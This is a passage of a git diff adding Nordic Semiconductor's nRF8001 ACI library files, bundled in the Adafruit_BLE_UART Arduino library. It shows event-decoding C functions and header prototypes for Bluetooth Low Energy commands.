OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB0) << 16; + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB1) << 24; + p_device_version->setup_status = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_STATUS); + break; + + case ACI_CMD_GET_DEVICE_ADDRESS: + p_device_address = &(p_evt_params_cmd_rsp->params.get_device_address); + memcpy((uint8_t *)(p_device_address->bd_addr_own), (buffer_in + OFFSET_ACI_EVT_T_CMD_RSP+OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS+OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_OWN), BTLE_DEVICE_ADDRESS_SIZE); + p_device_address->bd_addr_type = (aci_bd_addr_type_t) *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP+OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS+OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_TYPE); + break; + + case ACI_CMD_GET_TEMPERATURE: + p_temperature = &(p_evt_params_cmd_rsp->params.get_temperature); + p_temperature->temperature_value = (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_LSB); + p_temperature->temperature_value |= (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_MSB) << 8; + break; + + case ACI_CMD_GET_BATTERY_LEVEL: + p_batt_lvl = &(p_evt_params_cmd_rsp->params.get_battery_level); + p_batt_lvl->battery_level = (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_LSB); + p_batt_lvl->battery_level |= (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_MSB) << 8; + break; + + case ACI_CMD_READ_DYNAMIC_DATA: + p_read_dyn_data = &(p_evt_params_cmd_rsp->params.read_dynamic_data); + p_read_dyn_data->seq_no = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA + OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_SEQ_NO); + memcpy((uint8_t *)(p_read_dyn_data->dynamic_data), (buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA), ACIL_DECODE_EVT_GET_LENGTH(buffer_in) - 3); // 3 bytes subtracted account for EventCode, CommandOpCode and Status bytes. + // Now that the p_read_dyn_data->dynamic_data will be pointing to memory location with enough space to accommodate upto 27 bytes of dynamic data received. This is because of the padding element in aci_evt_params_cmd_rsp_t + break; + + case ACI_CMD_DTM_CMD: + p_dtm_evt = &(p_evt_params_cmd_rsp->params.dtm_cmd); + p_dtm_evt->evt_msb = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD + OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_MSB); + p_dtm_evt->evt_lsb = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD + OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_LSB); + break; + } +} + +void acil_decode_evt_device_started(uint8_t *buffer_in, aci_evt_params_device_started_t *p_evt_params_device_started) +{ + p_evt_params_device_started->device_mode = (aci_device_operation_mode_t) *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_DEVICE_MODE); + p_evt_params_device_started->hw_error = (aci_hw_error_t) *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_HW_ERROR); + p_evt_params_device_started->credit_available = *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_CREDIT_AVAILABLE); +} + +void acil_decode_evt_pipe_status(uint8_t *buffer_in, aci_evt_params_pipe_status_t *p_aci_evt_params_pipe_status) +{ + memcpy((uint8_t *)p_aci_evt_params_pipe_status->pipes_open_bitmap, (buffer_in + OFFSET_ACI_EVT_T_PIPE_STATUS + OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_OPEN_BITMAP), 8); + memcpy((uint8_t *)p_aci_evt_params_pipe_status->pipes_closed_bitmap, (buffer_in + OFFSET_ACI_EVT_T_PIPE_STATUS + OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_CLOSED_BITMAP), 8); +} + +void acil_decode_evt_disconnected(uint8_t *buffer_in, aci_evt_params_disconnected_t *p_aci_evt_params_disconnected) +{ + p_aci_evt_params_disconnected->aci_status = (aci_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_DISCONNECTED + OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_ACI_STATUS); + p_aci_evt_params_disconnected->btle_status = *(buffer_in + OFFSET_ACI_EVT_T_DISCONNECTED + OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_BTLE_STATUS); +} + +void acil_decode_evt_bond_status(uint8_t *buffer_in, aci_evt_params_bond_status_t *p_aci_evt_params_bond_status) +{ + p_aci_evt_params_bond_status->status_code = (aci_bond_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_CODE); + p_aci_evt_params_bond_status->status_source = (aci_bond_status_source_t)*(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_SOURCE); + p_aci_evt_params_bond_status->secmode1_bitmap = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE1_BITMAP); + p_aci_evt_params_bond_status->secmode2_bitmap = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE2_BITMAP); + p_aci_evt_params_bond_status->keys_exchanged_slave = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_SLAVE); + p_aci_evt_params_bond_status->keys_exchanged_master = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_MASTER); +} + +uint8_t acil_decode_evt_data_received(uint8_t *buffer_in, aci_evt_params_data_received_t *p_evt_params_data_received) +{ + uint8_t size = *( buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_ACI_DATA) + 1 ; + p_evt_params_data_received->rx_data.pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_PIPE_NUMBER); + memcpy((uint8_t *)p_evt_params_data_received->rx_data.aci_data, (buffer_in + OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_ACI_DATA), size); + return size; +} + +void acil_decode_evt_data_ack(uint8_t *buffer_in, aci_evt_params_data_ack_t *p_evt_params_data_ack) +{ + p_evt_params_data_ack->pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_DATA_ACK + OFFSET_ACI_EVT_PARAMS_DATA_ACK_T_PIPE_NUMBER); +} + +uint8_t acil_decode_evt_hw_error(uint8_t *buffer_in, aci_evt_params_hw_error_t *p_aci_evt_params_hw_error) +{ + uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME) + 1; + p_aci_evt_params_hw_error->line_num = (uint16_t)(*(buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_MSB)) << 8; + p_aci_evt_params_hw_error->line_num |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_LSB); + memcpy((uint8_t *)p_aci_evt_params_hw_error->file_name, (buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME), size); + return size; +} + +void acil_decode_evt_credit(uint8_t *buffer_in, aci_evt_params_data_credit_t *p_evt_params_data_credit) +{ + p_evt_params_data_credit->credit = *(buffer_in + OFFSET_ACI_EVT_T_DATA_CREDIT + OFFSET_ACI_EVT_PARAMS_DATA_CREDIT_T_CREDIT); +} + +void acil_decode_evt_connected(uint8_t *buffer_in, aci_evt_params_connected_t *p_aci_evt_params_connected) +{ + p_aci_evt_params_connected->dev_addr_type = (aci_bd_addr_type_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR_TYPE); + memcpy(&(p_aci_evt_params_connected->dev_addr[0]), (buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR), BTLE_DEVICE_ADDRESS_SIZE); + p_aci_evt_params_connected->conn_rf_interval = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_MSB) << 8; + p_aci_evt_params_connected->conn_rf_interval |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_LSB); + p_aci_evt_params_connected->conn_slave_rf_latency = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_MSB) << 8; + p_aci_evt_params_connected->conn_slave_rf_latency |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_LSB); + p_aci_evt_params_connected->conn_rf_timeout = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_MSB) << 8; + p_aci_evt_params_connected->conn_rf_timeout |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_LSB); + p_aci_evt_params_connected->master_clock_accuracy = (aci_clock_accuracy_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_MASTER_CLOCK_ACCURACY); + +} + +void acil_decode_evt_timing(uint8_t *buffer_in, aci_evt_params_timing_t *p_evt_params_timing) +{ + p_evt_params_timing->conn_rf_interval = *(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_MSB) << 8; + p_evt_params_timing->conn_rf_interval |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_LSB); + p_evt_params_timing->conn_slave_rf_latency = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_MSB) << 8; + p_evt_params_timing->conn_slave_rf_latency |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_LSB); + p_evt_params_timing->conn_rf_timeout = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_MSB) << 8; + p_evt_params_timing->conn_rf_timeout |= *(buffer_in + OFFSET_ACI_EVT_T_TIMING + OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_LSB); +} + +void acil_decode_evt_pipe_error(uint8_t *buffer_in, aci_evt_params_pipe_error_t *p_evt_params_pipe_error) +{ + //volatile uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA) + 1; + p_evt_params_pipe_error->pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_PIPE_NUMBER); + p_evt_params_pipe_error->error_code = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_CODE); + p_evt_params_pipe_error->params.error_data.content[0] = *(buffer_in + OFFSET_ACI_EVT_T_PIPE_ERROR + OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA + OFFSET_ERROR_DATA_T_CONTENT); +} + +void acil_decode_evt_key_request(uint8_t *buffer_in, aci_evt_params_key_request_t *p_evt_params_key_request) +{ + p_evt_params_key_request->key_type = (aci_key_type_t)*(buffer_in + OFFSET_ACI_EVT_T_KEY_REQUEST + OFFSET_ACI_EVT_PARAMS_KEY_REQUEST_T_KEY_TYPE); +} + +uint8_t acil_decode_evt_echo(uint8_t *buffer_in, aci_evt_params_echo_t *aci_evt_params_echo) +{ + uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - 1; + memcpy(&aci_evt_params_echo->echo_data[0], (buffer_in + OFFSET_ACI_EVT_T_EVT_OPCODE + 1), size); + return size; +} + +void acil_decode_evt_display_passkey(uint8_t *buffer_in, aci_evt_params_display_passkey_t *p_aci_evt_params_display_passkey) +{ + p_aci_evt_params_display_passkey->passkey[0] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 0); + p_aci_evt_params_display_passkey->passkey[1] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 1); + p_aci_evt_params_display_passkey->passkey[2] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 2); + p_aci_evt_params_display_passkey->passkey[3] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 3); + p_aci_evt_params_display_passkey->passkey[4] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 4); + p_aci_evt_params_display_passkey->passkey[5] = *(buffer_in + OFFSET_ACI_EVT_T_DISPLAY_PASSKEY + OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY + 5); +} + +bool acil_decode_evt(uint8_t *buffer_in, aci_evt_t *p_aci_evt) +{ + bool ret_val = true; + + p_aci_evt->len = ACIL_DECODE_EVT_GET_LENGTH(buffer_in); + p_aci_evt->evt_opcode = (aci_evt_opcode_t)ACIL_DECODE_EVT_GET_OPCODE(buffer_in); + + switch(p_aci_evt->evt_opcode) + { + case ACI_EVT_DEVICE_STARTED: + acil_decode_evt_device_started(buffer_in, &(p_aci_evt->params.device_started)); + break; + case ACI_EVT_HW_ERROR: + acil_decode_evt_hw_error(buffer_in, &(p_aci_evt->params.hw_error)); + break; + case ACI_EVT_CMD_RSP: + acil_decode_evt_command_response(buffer_in, &(p_aci_evt->params.cmd_rsp)); + break; + case ACI_EVT_DATA_CREDIT: + acil_decode_evt_credit(buffer_in, &(p_aci_evt->params.data_credit)); + break; + case ACI_EVT_CONNECTED: + acil_decode_evt_connected(buffer_in, &(p_aci_evt->params.connected)); + break; + case ACI_EVT_PIPE_STATUS: + acil_decode_evt_pipe_status(buffer_in, &(p_aci_evt->params.pipe_status)); + break; + case ACI_EVT_DISCONNECTED: + acil_decode_evt_disconnected(buffer_in, &(p_aci_evt->params.disconnected)); + break; + case ACI_EVT_BOND_STATUS: + acil_decode_evt_bond_status(buffer_in, &(p_aci_evt->params.bond_status)); + break; + case ACI_EVT_TIMING: + acil_decode_evt_timing(buffer_in, &(p_aci_evt->params.timing)); + break; + case ACI_EVT_DATA_ACK: + acil_decode_evt_data_ack(buffer_in, &(p_aci_evt->params.data_ack)); + break; + case ACI_EVT_DATA_RECEIVED: + acil_decode_evt_data_received(buffer_in, &(p_aci_evt->params.data_received)); + break; + case ACI_EVT_PIPE_ERROR: + acil_decode_evt_pipe_error(buffer_in, &(p_aci_evt->params.pipe_error)); + break; + case ACI_EVT_KEY_REQUEST: + acil_decode_evt_key_request(buffer_in, &(p_aci_evt->params.key_request)); + break; + case ACI_EVT_DISPLAY_PASSKEY: + acil_decode_evt_display_passkey(buffer_in, &(p_aci_evt->params.display_passkey)); + break; + default: + ret_val = false; + break; + } + return ret_val; +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h new file mode 100755 index 0000000..363879b --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib.h @@ -0,0 +1,53 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Internal prototype for acilib module. + */ + +#ifndef _acilib_H_ +#define _acilib_H_ + +#define MSG_SET_LOCAL_DATA_BASE_LEN 2 +#define MSG_CONNECT_LEN 5 +#define MSG_BOND_LEN 5 +#define MSG_DISCONNECT_LEN 2 +#define MSG_BASEBAND_RESET_LEN 1 +#define MSG_WAKEUP_LEN 1 +#define MSG_SET_RADIO_TX_POWER_LEN 2 +#define MSG_GET_DEVICE_ADDR_LEN 1 +#define MSG_SEND_DATA_BASE_LEN 2 +#define MSG_DATA_REQUEST_LEN 2 +#define MSG_OPEN_REMOTE_PIPE_LEN 2 +#define MSG_CLOSE_REMOTE_PIPE_LEN 2 +#define MSG_DTM_CMD 3 +#define MSG_WRITE_DYNAMIC_DATA_BASE_LEN 2 +#define MSG_SETUP_CMD_BASE_LEN 1 +#define MSG_ECHO_MSG_CMD_BASE_LEN 1 +#define MSG_CHANGE_TIMING_LEN 9 +#define MSG_SET_APP_LATENCY_LEN 4 +#define MSG_CHANGE_TIMING_LEN_GAP_PPCP 1 +#define MSG_DIRECT_CONNECT_LEN 1 +#define MSG_SET_KEY_REJECT_LEN 2 +#define MSG_SET_KEY_PASSKEY_LEN 8 +#define MSG_SET_KEY_OOB_LEN 18 +#define MSG_ACK_LEN 2 +#define MSG_NACK_LEN 3 +#define MSG_BROADCAST_LEN 5 +#define MSG_OPEN_ADV_PIPES_LEN 9 + +#endif /* _acilib_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h new file mode 100755 index 0000000..35845d4 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_defs.h @@ -0,0 +1,29 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Definitions for the acilib interfaces + */ + +#ifndef _acilib_DEFS_H_ +#define _acilib_DEFS_H_ + +#define ACIL_DECODE_EVT_GET_LENGTH(buffer_in) (*(buffer_in + OFFSET_ACI_EVT_T_LEN)) + +#define ACIL_DECODE_EVT_GET_OPCODE(buffer_in) (*(buffer_in + OFFSET_ACI_EVT_T_EVT_OPCODE)) + +#endif /* _acilib_DEFS_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h new file mode 100755 index 0000000..c87cb00 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_if.h @@ -0,0 +1,463 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Prototypes for the acilib interfaces. + */ + +#ifndef _acilib_IF_H_ +#define _acilib_IF_H_ + +/** @brief Encode the ACI message for set test mode command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] test_mode Pointer to the test mode in ::aci_cmd_params_test_t + * + * @return None + */ +void acil_encode_cmd_set_test_mode(uint8_t *buffer, aci_cmd_params_test_t *p_aci_cmd_params_test); + +/** @brief Encode the ACI message for sleep command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_sleep(uint8_t *buffer); + +/** @brief Encode the ACI message for get device version + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_get_device_version(uint8_t *buffer); + +/** @brief Encode the ACI message for set local data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_local_data Pointer to the local data parameters in ::aci_cmd_params_set_local_data_t + * @param[in] data_size Size of data message + * + * @return None + */ +void acil_encode_cmd_set_local_data(uint8_t *buffer, aci_cmd_params_set_local_data_t *p_aci_cmd_params_set_local_data, uint8_t data_size); + +/** @brief Encode the ACI message to connect + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_connect Pointer to the run parameters in ::aci_cmd_params_connect_t + * + * @return None + */ +void acil_encode_cmd_connect(uint8_t *buffer, aci_cmd_params_connect_t *p_aci_cmd_params_connect); + +/** @brief Encode the ACI message to bond + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_bond Pointer to the run parameters in ::aci_cmd_params_bond_t + * + * @return None + */ +void acil_encode_cmd_bond(uint8_t *buffer, aci_cmd_params_bond_t *p_aci_cmd_params_bond); + +/** @brief Encode the ACI message to disconnect + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_disconnect Pointer to the run parameters in ::aci_cmd_params_disconnect_t + * + * @return None + */ +void acil_encode_cmd_disconnect(uint8_t *buffer, aci_cmd_params_disconnect_t *p_aci_cmd_params_disconnect); + +/** @brief Encode the ACI message to baseband reset + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ + void acil_encode_baseband_reset(uint8_t *buffer); + + /** @brief Encode the ACI message for Directed Advertising + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ + void acil_encode_direct_connect(uint8_t *buffer); + +/** @brief Encode the ACI message to wakeup + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_wakeup(uint8_t *buffer); + +/** @brief Encode the ACI message for set radio Tx power + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_tx_power Pointer to the set Tx power parameters in ::aci_cmd_params_set_tx_power_t + * + * @return None + */ +void acil_encode_cmd_set_radio_tx_power(uint8_t *buffer, aci_cmd_params_set_tx_power_t *p_aci_cmd_params_set_tx_power); + +/** @brief Encode the ACI message for get device address + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_get_address(uint8_t *buffer); + +/** @brief Encode the ACI message for send data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_send_data_t Pointer to the data parameters in ::aci_cmd_params_send_data_t + * @param[in] data_size Size of data message + * + * @return None + */ +void acil_encode_cmd_send_data(uint8_t *buffer, aci_cmd_params_send_data_t *p_aci_cmd_params_send_data_t, uint8_t data_size); + +/** @brief Encode the ACI message for request data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_request_data Pointer to the request data parameters in ::aci_cmd_params_request_data_t + * + * @return None + */ +void acil_encode_cmd_request_data(uint8_t *buffer, aci_cmd_params_request_data_t *p_aci_cmd_params_request_data); + +/** @brief Encode the ACI message for open remote pipe + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_open_remote_pipe Pointer to the dynamic data parameters in ::aci_cmd_params_open_remote_pipe_t + * + * @return None + */ +void acil_encode_cmd_open_remote_pipe(uint8_t *buffer, aci_cmd_params_open_remote_pipe_t *p_aci_cmd_params_open_remote_pipe); + +/** @brief Encode the ACI message for close remote pipe + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_close_remote_pipe Pointer to the dynamic data parameters in ::aci_cmd_params_close_remote_pipe_t + * + * @return None + */ +void acil_encode_cmd_close_remote_pipe(uint8_t *buffer, aci_cmd_params_close_remote_pipe_t *p_aci_cmd_params_close_remote_pipe); + +/** @brief Encode the ACI message for echo message + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_echo Pointer to the dynamic data parameters in ::aci_cmd_params_echo_t + * @param[in] msg_size Size of the message + * + * @return None + */ +void acil_encode_cmd_echo_msg(uint8_t *buffer, aci_cmd_params_echo_t *p_cmd_params_echo, uint8_t msg_size); + +/** @brief Encode the ACI message to battery level + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_battery_level(uint8_t *buffer); + +/** @brief Encode the ACI message to temparature + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_temparature(uint8_t *buffer); + +/** @brief Encode the ACI message to read dynamic data + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_read_dynamic_data(uint8_t *buffer); + +/** @brief Encode the ACI message to change timing request + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_change_timing Pointer to the change timing parameters in ::aci_cmd_params_change_timing_t + * + * @return None + */ +void acil_encode_cmd_change_timing_req(uint8_t *buffer, aci_cmd_params_change_timing_t *p_aci_cmd_params_change_timing); + +/** @brief Encode the ACI message to change timing request using the timing parameters from GAP PPCP + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_change_timing Pointer to the change timing parameters in ::aci_cmd_params_change_timing_t + * + * @return None + */ +void acil_encode_cmd_change_timing_req_GAP_PPCP(uint8_t *buffer); + + +/** @brief Encode the ACI message for write dynamic data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] seq_no Sequence number of the dynamic data (as received in the response to @c Read Dynamic Data) + * @param[in] dynamic_data Pointer to the dynamic data + * @param[in] dynamic_data_size Size of dynamic data + * + * @return None + */ +void acil_encode_cmd_write_dynamic_data(uint8_t *buffer, uint8_t seq_no, uint8_t* dynamic_data, uint8_t dynamic_data_size); + +/** @brief Encode the ACI message to send data acknowledgement + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] pipe_number Pipe number for which the ack is to be sent + * + * @return None + */ +void 